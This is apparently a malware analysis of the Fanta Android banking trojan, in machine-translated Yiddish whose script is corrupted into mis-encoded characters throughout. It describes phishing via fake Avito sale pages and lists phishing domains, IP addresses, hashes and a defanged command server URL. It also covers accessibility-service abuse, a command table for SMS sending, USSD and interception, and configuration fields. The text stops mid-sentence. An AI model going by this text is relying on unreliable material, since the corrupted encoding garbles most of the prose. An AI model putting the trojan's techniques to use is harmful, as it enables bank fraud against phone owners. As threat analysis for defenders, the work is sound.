ืืืื ืืึธื ืืืจ ืืืืื ืฆื ืคืึทืจืงืืืคื ืขืคึผืขืก ืืืืฃ ืึทืืืืืึธ, ืืื ื ืึธื ืึทืจืืึทื ืืขืฉืืงื ืึท ืืืืืืื ืืึทืฉืจืืึทืืื ื ืคืื ืืืื ืคึผืจืึธืืืงื (ืืืฉื, ืึท ืืึทืจืึทื ืืึธืืืืข), ืืืจ ืืืขื ืืึทืงืืืขื ืืขื ืึธื ืืึธื:
ืึทืืึธื ืืืจ ืขืคึฟืขื ืขื ืืขื ืืื ืง, ืืืจ ืืืขื ืืขื ืึท ืคึผืึธื ืขื ืืืฉืขืืืขื ืืืึทื ืืื ืึธื ืืึธื ืืืจ, ืืขืจ ืืืืงืืขื ืืื ืืขืจืึธืื ืืจืขืืขืจ, ืึทื ืึท ืงืืืคื ืืื ืืขืืืื:
ืึทืืึธื ืืืจ ืืื ืื "ืคืึธืจืืขืฆื" ืงื ืขืคึผื, ืึท ืึทืคึผืง ืืขืงืข ืืื ืึท ืืืงืึทื ืืื ืึท ืฆืืืจืื-ืื ืกืคึผืืืขืจืื ื ื ืึธืืขื ืืืขื ืืืื ืืึทืื ืืึธืืืื ืฆื ืืืื ืึทื ืืจืืื ืืืื. ืืืจ ืืึธื ืืื ืกืืึทืืืจื ืึท ืึทืคึผืืึทืงืืืฉืึทื ืึทื ืคึฟืึทืจ ืขืืืขืืข ืกืืื ืืขืืขืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืจืขืื, ืืขืืึธืื ืึท ืคึผืึธืจ ืคืื ืคึฟืขื ืฆืืขืจ ืืจืืืก ืืื ืืขืฉืืืื ื ืคืึทืจืฉืืืื ืื ืืื ... ืึทื ืก ืขืก.
ืืืจ ืืืื ืฆื ืงืึธื ืืจืึธืืืจื ืืืื ืืืึธื, ืึธืืขืจ ืคึฟืึทืจ ืขืืืขืืข ืกืืื, ืืืื ืืึทื ืงืื ื ืึทืคึผ ืืขืื ืืืื ืงืึธืจื ืืขืืึทืืืก ืืืืืขืจ. ื ืึธื ืึทืจืืึทื ืื ืืึทืื, ืขืคึผืขืก ืฉืจืขืงืืขื ืืึทืคึผืึทื ื: ืคึฟืึทืจ ืขืืืขืืข ืกืืื ื ืึธื ืืืงืืึธืจ ืฆื ืืืจ, ืืขืื ืืืืื ืฆื ืคืึทืจืฉืืืื ืื ืคืื ืืืื ืืฉืืื. ืืืจ ืคึผืจืึผืืื ืฆื ืกืึธืืืืข ืืขื ืคึผืจืึธืืืขื, ืึธืืขืจ ืืืื ืืขืืขืคืึธื ืึทื ืืงืขืื ืฉืืขืื ืืื: ืขืก ืืจืืงื ืื ืฉืืืกืืขื "ืฆืืจืืง" ืืื "ืืืื", ื ืืฉื ืงืขืจ ืึทืืืขืง ืืื ืืืจ ืงืขื ืขื ื ืืฉื ืึทืงืืึทืืืืื ืงืืื ืืืืขืจืืืื ืืืืืขื. ืืื ืึท ืจืขืืืืืึทื, ืืืจ ืืขื ื ืืื ืงืก ืึธื ืืขืื, ืืืื ืกืืืืจืข ืืขื ืขื ื ืืฉื ืืขืงืืืคื, ืืืจ ืืขื ื ืฆืขืืืฉื ืืื ืืืื ืืขืจ: ืืืึธืก ืืขืืจืืคื?
ืืขืจ ืขื ืืคืขืจ ืืื ืคึผืฉืื: ืืืจ ืืึธื ืืืขืจื ืึท ืงืึธืจืื ืคืื ืื ืึทื ืืจืืื ืืจืึธืืืฉืึทื ืคืึทื ืืึท, ืึท ืืืืืืื ืคืื ืืขืจ ืคืืขืงืกื ืขื ืืฉืคึผืื. ืืื ืืื ืืึธืก ืืขืฉืขื? ืืื ืก ืืขืจืงืืขืจื ืืืฆื.
ืืืืจืื: ืึทื ืืจืื ืคึผืึธืืึธืืืื ืงืื, ืืื ืืขืจ ืืืืืข ืืื ืืึทืืืืึทืจืข ืึทื ืึทืืืกืืก, ืืืืืื ืคึผืืกืึทืจืขืื, ืืืืืข ืืื ืืึทืืืืึทืจืข ืึทื ืึทืืืกืืก.
ืขืืืขืืข ืกืืึทืืืกืืืง
ืื Flexnet ืืฉืคึผืื ืคืื ืึทื ืืจืืื ืืจืึธืืืฉืึทื ืก ืขืจืฉืืขืจ ืืขืืืืจื ืืึทืืืืกื ืฆืืจืืง ืืื 2015. ืืืืขืจ ืึท ืืึทื ืฅ ืืึทื ื ืฆืืื ืคืื ืืขืืืงืืื, ืื ืืฉืคึผืื ืืงืกืคึผืึทื ืืื ืฆื ืขืืืขืืข ืกืืืกืคึผืขืกืืขืก: ืคืึทื ืืึท, ืืืืขืืึธื, ืืืคึผืืึธื, ืืื"ื ื. ืื ืืจืึธืืืฉืึทื, ืืื ืืขืืื ื ืืื ืื ืื ืคืจืึทืกืืจืึทืงืืฉืขืจ ืคึฟืึทืจืืื ืื ืืื ืืื, ืืึธื ื ืื ืฉืืืื ื ืึธื: ื ืืึท ืขืคืขืงืืืื ืคืึทืจืฉืคึผืจืืืืื ื ืกืงืืื ืืขื ืขื ืืขืืืขืืึธืคึผืขื - ืืื ืืื ืืืขืจ ืคืึทื, ืืืื-ืงืืืึทืืืืขื ืคืืฉืื ื ืืืขืืขืจ ืึทืืืขื ืฆื ืึท ืกืคึผืขืฆืืคืืฉ ืืึทื ืืฆืขืจ-ืคืึทืจืงืืืคืขืจ, ืืื ืื ืืจืึธืืืฉืึทื ืืขืืืขืืึธืคึผืขืจืก ื ืึธืืืืื ืืึธืืขืจื ืืจืขื ืืก ืืื ืืืืจืืก ืฉืจืืืื - ืึทืืื ื ื ืืึท ืคืึทื ืืงืฉืึทื ืึทืืืื ืืืึธืก ืืืื ืขืก ืืขืืืขื ืฆื ืืึทื ืืืขื ืขื ืืขืจ ืืคืืฉืึทื ืืื ืืขืื ืคืื ืื ืคืขืงืืึทื ืืขืืืืกืขืก ืืื ืืืืคึผืึทืก ืฉืืฅ ืืขืงืึทื ืืืึทืื.
ืื ืงืืืคืื ืืข ืืืกืงืจืืืื ืืื ืืขื ืึทืจืืืงื ืืื ืึทืืืขื ืฆื ื ืืฆืขืจืก ืคืื ืจืืกืืึทื ื; ืึท ืงืืืื ื ืืืขืจ ืคืื ืื ืคืขืงืืึทื ืืขืืืืกืขืก ืืขื ืขื ืจืขืงืึธืจืืขื ืืื ืืืงืจืืื ื, ืืื ืืคืืื ืืืืื ืืงืขืจืข ืืื ืงืึทืืึทืืกืืึทื ืืื ืืขืืึทืจืืก.
ืืคืืื ืืืื ืคืืขืงืกื ืขื ืืื ืืขืืืขื ืืื ืื ืึทื ืืจืืื ืืจืึธืืืฉืึทื ืืจืขื ืข ืคึฟืึทืจ ืืืืขืจ 4 ืืึธืจ ืืืฆื ืืื ืืื ืฉืืื ืืขืืขืจื ื ืืื ืืขืืึทื ืืืจื ืคืืืข ืจืืกืขืจืืฉืขืจื, ืขืก ืืื ื ืึธื ืืื ืึท ืืื ืคืึธืจืขื. ืกืืึทืจืืื ื ืคืื ืืื ืืืจ 2019, ืื ืคึผืึธืืขื ืฆืืขื ืกืืืข ืคืื โโืฉืขืืืงื ืืื ืืขืจ ืืื 35 ืืืืืึธื ืจืืื - ืืื ืืึธืก ืืื ืืืืื ืคึฟืึทืจ ืงืึทืืคึผืืื ื ืืื ืจืืกืืึทื ื. ืืื 2015, ืคืึทืจืฉืืื ืืืขืจืกืืขืก ืคืื ืืขื ืึทื ืืจืืื ืืจืึธืืืฉืึทื ืืขื ืขื ืคืืจืงืืืคื ืืืืฃ ืื ืืขืจืขืจื ืืจืืคึผืขืก, ืืื ืื ืืงืืจ ืงืึธื ืคืื ืื ืืจืึธืืืฉืึทื ืืื ืึท ืืืืืืื ืืึทืฉืจืืึทืืื ื ืงืขื ืืืื ืืืื ืืขืคึฟืื ืขื. ืืขื ืืืื ืึทื ืื ืกืืึทืืืกืืืง ืคืื ืฉืขืืืงื ืืื ืืขืจ ืืืขืื ืืขื ืขื ืืคืืื ืืขืจ ืืืคึผืจืขืกืืื. ื ืื ืึท ืฉืืขืื ืืจืืื ืคึฟืึทืจ ืึทืืึท ืึท ืึทืื ืืขื ืืฉ, ืืื ื ืื ืขืก?
ืคืื ืคืึทืจืงืืืฃ ืฆื ืึธืคึผื ืึทืจ
ืืื ืืืจ ืงืขื ืขื ืืขื ืคืื ืื ืคืจืืขืจ ืืขืจืืื ืื ืกืงืจืขืขื ืฉืึธื ืคืื ืึท ืคืืฉืื ื ืืืึทื ืคึฟืึทืจ ืื ืืื ืืขืจื ืขื ืืื ืกื ืคึฟืึทืจ ืคึผืึธืกืืื ื ืึทืืก Avito, ืขืก ืืื ืืขืืืขื ืฆืืืขืืจืืื ืคึฟืึทืจ ืึท ืกืคึผืขืฆืืคืืฉ ืงืึธืจืื. ืืฉืืขืืช, ืื ืึทืืึทืงืขืจื ื ืืฆื ืืืื ืขืจ ืคืื Avito ืก ืคึผืึทืจืกืขืจืก, ืืืึธืก ืขืงืกืืจืึทืงื ืื ืืขืืขืคืึธื ื ืืืขืจ ืืื ื ืึธืืขื ืคืื ืื ืืจืขืืขืจ, ืืื ืืขืืื ื ืืื ืื ืคึผืจืึธืืืงื ืืึทืฉืจืืึทืืื ื. ื ืึธื ืืงืกืคึผืึทื ืืื ื ืื ืืืึทื ืืื ืคึผืจืืคึผืขืจืื ื ืื ืึทืคึผืง ืืขืงืข, ืื ืงืึธืจืื ืืื ืืขืฉืืงื ืึท SMS ืืื ืืืื ื ืึธืืขื ืืื ืึท ืืื ืง ืฆื ืึท ืคืืฉืื ื ืืืึทื ืืื ืึท ืืึทืฉืจืืึทืืื ื ืคืื ืืืื ืคึผืจืึธืืืงื ืืื ืื ืกืืืข ืืืงืืืขื ืคืื ืื "ืคืึทืจืงืืืฃ" ืคืื ืื ืคึผืจืึธืืืงื. ืืืจื ืืขืื ืึท ืงืืืง ืืืืฃ ืืขื ืงื ืขืคึผื, ืืขืจ ืืึทื ืืฆืขืจ ืืืงืืื ืึท ืืืืืข ืึทืคึผืง ืืขืงืข - ืคืึทื ืืึท.
ื ืืขืจื ืขื ืคืื ืื shcet491[.]ru ืคืขืื ืืขืืืืื ืึทื ืขืก ืืื ืืขืืึทืืืืืึทื ืฆื ืื ืื ืก ืกืขืจืืืขืจืก ืคืื Hostinger:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
ืื ืคืขืื ืืึธื ืข ืืขืงืข ืึผืืื ืืืื ืกื ืืืึธืก ืืืืืื ืฆื ืื IP ืึทืืจืขืกืขืก 31.220.23[.]236, 31.220.23[.]243, ืืื 31.220.23[.]235. ืึธืืขืจ, ืื ืขืจืฉืืืง ืจืืกืึธืจืก ืจืขืงืึธืจื ืคืื ืื ืคืขืื (ื ืจืขืงืึธืจื) ืืืืืื ืฆื ืึท ืกืขืจืืืขืจ ืืื IP ืึทืืจืขืก 178.132.1[.]240.
IP ืึทืืจืขืก 178.132.1[.]240 ืืื ืืืื ืืื ืื ื ืขืืืขืจืืึทื ืืก ืืื ืืขืืขืจื ืฆื ืื ืืึธืกืืื ื ืืืึธืจืืืกืืจืื. IP ืึทืืจืขืกืขืก 31.220.23[.]235, 31.220.23[.]236 ืืื 31.220.23[.]243 ืืขื ืขื ืืืื ืืื ืื ืืง ืืื ืืขืืขืจื ืฆื ืื ืฉืขืจื ืืึธืกืืื ื ืกืขืจืืืขืจ HOSTINGER. ืืขืืืืื ื ืืื ืึท ืจืขืงืึธืจืืขืจ openprov-ru. ืื ืคืืืืขื ืืข ืืึธืืืืื ื ืืืื ืจืืืึทืืืื ืฆื ืื IP ืึทืืจืขืก 178.132.1[.]240:
- sdelka-ru[.]ru
- tovar-av[.]ru
- av-tovar[.]ru
- ru-sdelka[.]ru
- shcet382[.]ru
- sdelka221[.]ru
- sdelka211[.]ru
- vyplata437[.]ru
- viplata291[.]ru
- perevod273[.]ru
- perevod901[.]ru
ืขืก ืืึธื ืืืื ืื ืืขืืืืื ืึทื ืืื ืงืก ืืื ืื ืคืืืืขื ืืข ืคึฟืึธืจืืึทื ืืขื ืขื ืื ืืืฆื ืคืื ืึผืืขื ืึทืืข ืืึธืืืืื ื:
http://(www.){0,1}<%domain%>/[0-9]{7}
ืืขืจ ืืืกืืขืจ ืืืื ืืืื ืึท ืืื ืง ืคืื ืึท SMS ืึธื ืืึธื. ืืึทืืืจื ืืืืฃ ืืืกืืืจืืฉืข ืืึทืื, ืขืก ืืื ืืขืคืื ืขื ืึทื ืืืื ืคืขืื ืงืึธืจืึทืกืคึผืึทื ืื ืฆื ืขืืืขืืข ืืื ืงืก ืืื ืื ืืืกืืขืจ ืืืกืงืจืืืื ืืืืื, ืืืึธืก ืื ืืืงืืืฅ ืึทื ืืืื ืคืขืื ืืื ืืขื ืืฆื ืฆื ืคืึทืจืฉืคึผืจืืืื ืื ืืจืึธืืืฉืึทื ืฆื ืขืืืขืืข ืืืืงืืืืก.
ืืื ืก ืฉืคึผืจืื ืืขื ืคืึธืจืืืก ืึท ืืืกื: ืื ืืจืึธืืืฉืึทื ืืึทืื ืืึธืืืื ืืืจื ืึท ืืื ืง ืคืื ืึท SMS ื ืืฆื ืื ืึทืืจืขืก ืืื ืึท ืงืึธื ืืจืึธื ืกืขืจืืืขืจ onusedseddohap[.]ืงืืื. ืื ืคืขืื ืืื ืืขืืืขื ืจืขืืืกืืจืืจื ืืืืฃ 2019-03-12, ืืื ืกืืึทืจืืื ื ืคืื 2019-04-29, APK ืึทืคึผืืึทืงืืืฉืึทื ื ืื ืืขืจืึทืงืืื ืืื ืืขื ืคืขืื. ืืึทืืืจื ืืืืฃ ืืึทืื ืืืงืืืขื ืคืื VirusTotal, ืึท ืืึทื ืฅ ืคืื 109 ืึทืคึผืืึทืงืืืฉืึทื ื ืื ืืขืจืึทืงืืื ืืื ืืขื ืกืขืจืืืขืจ. ืื ืคืขืื ืืื ืจืืืึทืืืื ืฆื ืื IP ืึทืืจืขืก 217.23.14[.]27, ืืืื ืืื ืื ื ืขืืืขืจืืึทื ืืก ืืื ืึธืื ื ืืืจื ืื ืืึทืืขืืึธืก ืืืึธืจืืืกืืจืื. ืืขืืืืื ื ืืื ืึท ืจืขืงืึธืจืืขืจ ื ืึทืืขืืฉืขืึทืคึผ. ืืึธืืืืื ื ืืืื ืจืืืึทืืืื ืฆื ืืขื IP ืึทืืจืขืก bad-racoon[.]ืงืืื (ืกืืึทืจืืื ื ืคืื 2018-09-25) ืืื bad-racoon[.]ืืขืื (ืกืืึทืจืืื ื ืคืื 2018-10-25). ืืื ืคืขืื bad-racoon[.]ืงืืื ืืื ืืขืจ ืืื 80 ืึทืคึผืง ืืขืงืขืก ืื ืืขืจืึทืงืืื bad-racoon[.]ืืขืื - ืืขืจ ืืื 100.
ืืื ืึทืืืขืืืื, ืื ืืึทืคืึทืื ืคึผืจืึธืืจืขืกืึทื ืืื ืืืื:
ืืืึธืก ืืื ืืื ืืขืจ ืคืึทื ืืึทืก ืืขืงื?
ืืื ืคืืืข ืื ืืขืจืข ืึทื ืืจืืื ืืจืึธืืืฉืึทื ืก, ืคืึทื ืืึท ืืื ืืืืืขืืืืืง ืฆื ืืืืขื ืขื ืืื ืฉืืงื SMS ืึทืจืืืงืืขื, ืืึทืื ืืกืกื ืจืืงืืืขืก, ืืื ืืืืึทืื ืืืื ืืืืืขื ืข ืคึฟืขื ืฆืืขืจ ืืืืฃ ืฉืคึผืืฅ ืคืื ืึทืคึผืืึทืงืืืฉืึทื ื (ืึทืจืืึทื ืืขืจืขืื ื ืืึทื ืงืื ื ืึธื ืขืก). ืึธืืขืจ, ืืขืจ ืึทืจืกืขื ืึทื ืคืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืคืื ืืขื ืืฉืคึผืื ืืื ืื ืืขืงืืืขื: ืคืึทื ืืึท ืื ืืขืืืืื ืฆื ื ืืฆื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืคึฟืึทืจ ืคืึทืจืฉืืื ืฆืืืขืงื: ืืืืขื ืขื ืื ืืื ืืึทืื ืคืื ื ืึธืืืึทืคืึทืงืืืฉืึทื ื ืคืื ืื ืืขืจืข ืึทืคึผืืึทืงืืืฉืึทื ื, ืคึผืจืขืืืขื ืืื ื ืืืืขืงืฉืึทื ืืื ืกืืึธืคึผืคึผืื ื ืื ืืืจืืคืืจืื ื ืคืื ืึท ืืจืึธืืืฉืึทื ืืืืฃ ืึท ืื ืคืขืงืืึทื ืืืื, ืขืืง. ืคืึทื ืืึท ืึทืจืืขื ืืืืฃ ืึทืืข ืืืขืจืกืืขืก ืคืื ืึทื ืืจืืื ื ืื ืืื ืืขืจ ืืื 4.4. ืืื ืืขื ืึทืจืืืงื ืืืจ ืืืขืื ื ืขืืขื ืึท ื ืขืขื ืืขืจ ืงืืง ืืื ืื ืคืืืืขื ืืข ืคืึทื ืืึท ืืืกืืขืจ:
- ืืืงืกื ืืืงืก: 0826bd11b2c130c4c8ac137e395ac2d4
- ืฉืึทืงืกื ืืืงืก: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- ืฉืึทืงืกื ืืืงืก: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
ืืืืื ื ืึธื ืงืึทืืขืจ
ืืืืื ื ืึธื ืงืึทืืขืจ, ืื ืืจืึธืืืฉืึทื ืืืืื ืืืื ืืืืื. ืื ืึทืคึผืืึทืงืืืฉืึทื ืงืขื ื ืึธืจ ืึทืจืืขืื ืืืื ืื ื ืึธืืขื ืคืื ืื ืื ืคืขืงืืึทื ืืืื ืืื ื ืืฉื ืืื ืืขืจ ืจืฉืืื:
- android_x86
- ืืืืจืืืึทืืืึธืงืก
- ื ืขืงืกืืก 5X (ืืืืืขืึทื)
- ื ืขืงืกืืก 5 (ืจืืืืขืจ)
ืืขื ืืฉืขืง ืืื ืืขืคืืจื ืืืืก ืืื ืื ืืืืคึผื ืืื ืกื ืคืื ืื ืืจืึธืืืฉืึทื - MainService. ืืืขื ืืึธื ืืฉื ืคึฟืึทืจ ืื ืขืจืฉืืขืจ ืืึธื, ืื ืงืึทื ืคืืืืขืจืืืฉืึทื ืคึผืึทืจืึทืืขืืขืจืก ืคืื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืขื ืขื ืื ืืืืึทืืืืื ืฆื ืคืขืืืงืืึทื ืืืึทืืืขืก (ืื ืคึฟืึธืจืืึทื ืคึฟืึทืจ ืกืืึธืจืื ื ืงืึทื ืคืืืืขืจืืืฉืึทื ืืึทืื ืืื ืืืืขืจ ืืืึทืืฉ ืืืขื ืืืื ืืืกืงืึทืกื ืฉืคึผืขืืขืจ), ืืื ืึท ื ืืึท ืื ืคืขืงืืึทื ืืืื ืืื ืจืขืืืกืืจืืจื ืืืืฃ ืื ืงืึธื ืืจืึธื ืกืขืจืืืขืจ. ืึท HTTP POST ืืขืื ืืื ืืขื ืึธื ืืึธื ืืืคึผ ืืืขื ืืืื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ register_bot ืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืื ืคืขืงืืึทื ืืืื (ืึทื ืืจืืื ืืืขืจืกืืข, IMEI, ืืขืืขืคืึธื ื ืืืขืจ, ืึธืคึผืขืจืึทืืึธืจ ื ืึธืืขื ืืื ืืึทื ื ืงืึธื ืืื ืืืึธืก ืืขืจ ืึธืคึผืขืจืึทืืึธืจ ืืื ืจืขืืืกืืจืืจื). ืื ืึทืืจืขืก ืกืขืจืืืขืก ืืื ืื ืงืึธื ืืจืึธื ืกืขืจืืืขืจ hXXp://onuseseddohap[.]club/controller.php. ืืื ืขื ืืคืขืจ, ืืขืจ ืกืขืจืืืขืจ ืกืขื ืื ืึท ืึธื ืืึธื ืืื ืื ืคืขืืืขืจ bot_id, bot_pwd, ืฉืืื - ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืึทืืืขืก ืื ืืืึทืืืขืก ืืื ืคึผืึทืจืึทืืขืืขืจืก ืคืื ืื CnC ืกืขืจืืืขืจ. ืคึผืึทืจืึทืืขืืขืจ ืฉืืื ืึทืคึผืฉืึทื ืึทื ืืืื ืื ืคืขืื ืืื ื ืืฉื ืืืงืืืขื: ืคืึทื ืืึท ื ืืฆื ืื ืจืขืืืกืืจืึทืฆืืข ืึทืืจืขืก - hXXp://onuseseddohap[.]club/controller.php. ืื ืคืื ืงืฆืืข ืคืื โโโโืืฉืึทื ืืื ื ืื CnC ืึทืืจืขืก ืงืขื ืขื ืืืื ืืขืืืืื ื ืฆื ืกืึธืืืืข ืฆืืืื ืคึผืจืึธืืืขืืก: ืฆื ืคืึทืจืฉืคึผืจืืืื ืื ืืึทืกืข ืืืืึทื ืื ืฆืืืืฉื ืขืืืขืืข ืกืขืจืืืขืจืก (ืืืื ืขืก ืืขื ืขื ืึท ืืจืืืก ื ืืืขืจ ืคืื ืื ืคืขืงืืึทื ืืขืืืืกืขืก, ืื ืืึทืกืข ืืืืฃ ืึทื ืึทื ืึธืคึผืืืืืืขื ืืืขื ืกืขืจืืืขืจ ืงืขื ืขื ืืืื ืืืื), ืืื ืืืื ื ืืฆื. ืึทื ืึธืืืขืจื ืึทืืืื ืกืขืจืืืขืจ ืืื ืคืึทื ืคืื ืืืจืืคืึทื ืคืื ืืืื ืขืจ ืคืื ืื CnC ืกืขืจืืืขืจืก.
ืืืื ืึท ืืขืืช ืึทืงืขืจื ืืฉืขืช ืฉืืงื ืื ืืขืื, ืื ืืจืึธืืืฉืึทื ืืืขื ืืืืขืจืืืจื ืื ืจืขืืืกืืจืึทืฆืืข ืคึผืจืึธืฆืขืก ื ืึธื 20 ืกืขืงืื ืืขืก.
ืึทืืึธื ืื ืืืื ืืื ืืฆืืื ืจืขืืืกืืจืืจื, Fanta ืืืขื ืืืืึทืื ืืขื ืืึทื ืืฆืขืจ ืื ืคืืืืขื ืืข ืึธื ืืึธื:
ืืืืืืืง ืืึธื: ืื ืืื ืกื ืืขืจืืคื ืกืืกืืขื ืืืืขืจืืืื - ืื ื ืึธืืขื ืคืื ืื ืืจืึธืืืฉืึทื ืืื ืกื, ืืื ื ืึธื ืืขืื ืึท ืงืืืง ืืขื ืงื ืขืคึผื OK ื ืคึฟืขื ืฆืืขืจ ืืืขื ืขืคืขื ืขื ืืื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืืืื ืืก ืคืื ืื ืื ืคืขืงืืึทื ืืืื, ืืื ืืขืจ ืืึทื ืืฆืขืจ ืืืื ืืขืื ืึทืงืกืขืกืึทืืืืืื ืจืขืื ืคึฟืึทืจ ืื ืืืืืข ืืื ืกื:
ืืื ืืึทืื ืืื ืืขืจ ืืึทื ืืฆืขืจ ืืืจื ืก ืืืืฃ ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก, ืคืึทื ืืึท ืืืื ื ืึทืงืกืขืก ืฆื ืื ืืื ืืึทืื ืคืื ืึทืคึผืืึทืงืืืฉืึทื ืคึฟืขื ืฆืืขืจ ืืื ืื ืึทืงืฉืึทื ื ืืขืืื ืืื ืืื:
ืืืืื ื ืึธื ืจืืกืืืืื ื ืึทืงืกืขืกืึทืืืืืื ืจืขืื, ืื ืืจืึธืืืฉืึทื ืจืืงืืืขืก ืึทืืืื ืืกืืจืึทืืึธืจ ืจืขืื ืืื ืจืขืื ืฆื ืืืืขื ืขื ื ืึธืืืึทืคืึทืงืืืฉืึทื ื:
ื ืืฆื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก, ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืืืืึทืืืืฅ ืงืืกืืจืึธืืงืก, ืืื ืืขืจืืื ืืขืื ืืื ืึทืืข ืื ื ืืืืืง ืจืขืื.
ืคืึทื ืืึท ืงืจืืืืฅ ืงืืืคื ืืึทืืึทืืืืก ืื ืกืืึทื ืกืื (ืืืึธืก ืืืขื ืืืื ืืืกืงืจืืืื ืฉืคึผืขืืขืจ) ื ืืืืืง ืฆื ืงืจืึธื ืงืึทื ืคืืืืขืจืืืฉืึทื ืืึทืื, ืืื ืืขืืื ื ืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืขืืืืื ืืื ืืขื ืคึผืจืึธืฆืขืก ืืืขืื ืื ืื ืคืขืงืืึทื ืืืื. ืฆื ืฉืืงื ืื ืืขืืืืื ืืื ืคึฟืึธืจืืึทืฆืืข, ืื ืืจืึธืืืฉืึทื ืงืจืืืืฅ ืึท ืจืืคึผืืืื ื ืึทืจืืขื ืืืืืื ื ืฆื ืึธืคึผืืึธืืืจื ืคืขืืืขืจ ืคืื ืื ืืึทืืึทืืืืก ืืื ืืึทืงืืืขื ืึท ืืึทืคึฟืขื ืคืื ืื ืงืึธื ืืจืึธื ืกืขืจืืืขืจ. ืืขืจ ืืขืืึทืืขื ืคึฟืึทืจ ืึทืงืกืขืก CnC ืืื ืืึทืฉืืืื ืืืคึผืขื ืืื ื ืืืืฃ ืื ืึทื ืืจืืื ืืืขืจืกืืข: ืืื ืื ืคืึทื ืคืื 5.1, ืื ืืขืืึทืืขื ืืืขื ืืืื 10 ืกืขืงืื ืืขืก, ืึทื ืืขืจืฉ 60 ืกืขืงืื ืืขืก.
ืฆื ืืึทืงืืืขื ืืขื ืืึทืคึฟืขื, ืคืึทื ืืึท ืืืื ืึท ืืงืฉื GetTask ืฆื ืื ืคืึทืจืืืึทืืืื ื ืกืขืจืืืขืจ. ืืื ืขื ืืคืขืจ, CnC ืงืขื ืขื ืฉืืงื ืืืื ืขืจ ืคืื ืื ืคืืืืขื ืืข ืงืึทืืึทื ืื:
| ืงืึธืืขืงืืืื | ืืึทืฉืจืืึทืืื ื |
|---|---|
| 0 | ืฉืืงื SMS ืึธื ืืึธื |
| 1 | ืืึทืื ืึท ืืขืืขืคืึธื ืจืืคื ืึธืืขืจ USSD ืืึทืคึฟืขื |
| 2 | ืืขืจืืืึทื ืืืงืื ืืขื ืึท ืคึผืึทืจืึทืืขืืขืจ ืืขืืึทืืขื |
| 3 | ืืขืจืืืึทื ืืืงืื ืืขื ืึท ืคึผืึทืจืึทืืขืืขืจ intercept |
| 6 | ืืขืจืืืึทื ืืืงืื ืืขื ืึท ืคึผืึทืจืึทืืขืืขืจ smsManager |
| 9 | ืึธื ืืืื ืงืึทืืขืงืืื ื SMS ืึทืจืืืงืืขื |
| 11 | ืืึทืฉืืขืืืง ืืืื ืืขืืขืคืึธื ืฆื ืื ืคืึทืืจืืง ืกืขืืืื ืืก |
| 12 | ืืขืื / ืืืกืืืืึทื ืืึธืืื ื ืคืื ืืืึทืืึธื ืงืขืกืื ืฉืึทืคืื ื |
ืคืึทื ืืึท ืืืื ืงืึทืืขืงืฅ ื ืึธืืืึทืคืึทืงืืืฉืึทื ื ืคืื 70 ืืึทื ืงืื ื ืึทืคึผืคึผืก, ืฉื ืขื ืฆืึธืืื ื ืกืืกืืขืืขื ืืื E- ืืืึธืืึทืฅ ืืื ืงืจืึธื ืืื ืืื ืึท ืืึทืืึทืืืืก.
ืกืืึธืจืื ื ืงืึทื ืคืืืืขืจืืืฉืึทื ืคึผืึทืจืึทืืขืืขืจืก
ืฆื ืงืจืึธื ืงืึทื ืคืืืืขืจืืืฉืึทื ืคึผืึทืจืึทืืขืืขืจืก, Fanta ื ืืฆื ืึท ื ืึธืจืืึทื ืฆืืืึทื ื ืคึฟืึทืจ ืื ืึทื ืืจืืื ืคึผืืึทืืคืึธืจืืข - ืคึผืจืขืคึฟืขืจืขื ืฆื- ืืขืงืขืก. ืื ืกืขืืืื ืืก ืืืขื ืืืื ืืขืจืืืขืืืขื ืฆื ืึท ืืขืงืข ืืขืืืืกื ืกืขืืืื ืืก. ื ืืึทืฉืจืืึทืืื ื ืคืื ืื ืืขืจืืืขืืืขื ืคึผืึทืจืึทืืขืืขืจืก ืืื ืืื ืื ืืืฉ ืืื ืื.
| ื ืึธืืขื | ืคืขืืืงืืึทื ืืืขืจื | ืืขืืืขื ืืืึทืืืขืก | ืืึทืฉืจืืึทืืื ื |
|---|---|---|---|
| id | 0 | ืื ืืขืืขืจ | Bot ID |
| ืฉืืื | hXXp://onuseseddohap[.]club/ | URL | ืงืึธื ืืจืึธื ืกืขืจืืืขืจ ืึทืืจืขืก |
| pwd | - | ืฉืืจืืงื | ืกืขืจืืืืจืขืจ ืคึผืึทืจืึธื |
| ืืขืืึทืืขื | 20 | ืื ืืขืืขืจ | ืฆืืื ืืขืืึทืืขื. ืื ืืืงืืืฅ ืืื ืืึทื ื ืื ืคืืืืขื ืืข ืืึทืกืงืก ืืึธื ืืืื ืืืคืขืจื:
|
| intercept | ืึทืืข | ืึทืืข / ืืขืื ืืืขืจ | ืืืื ืื ืคืขืื ืืื ืืืืึทื ืฆื ืื ืฉืืจืืงื ืึทืืข ืึธืืขืจ ืืขืื ืืืขืจ, ืืขืืึธืื ืืขืจ ืืืงืืืขื SMS ืึธื ืืึธื ืืืขื ืืืื ืื ืืขืจืกืขืคึผืืึทื ืืืจื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ื ืื ืืขืืืืื ืฆื ืืขืจ ืืึทื ืืฆืขืจ |
| smsManager | 0 | 0/1 | ืืขืื / ืืืกืืืืึทื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืื ืคืขืืืงืืึทื SMS ืืึทืงืืืขืจ |
| ืืืืขื ืขื ืืืึทืืึธื | ืคืึทืืฉ | ืืืช / ืคืึทืืฉ | ืืขืื / ืืืกืืืืึทื ืืขืฉืขืขื ืืฉ ืืึธืืื ื ืึทืงืกืขืกืึทืืืืืื ืขืืืขื ื |
ืคืึทื ืืึท ืืืื ื ืืฆื ืื ืืขืงืข smsManager:
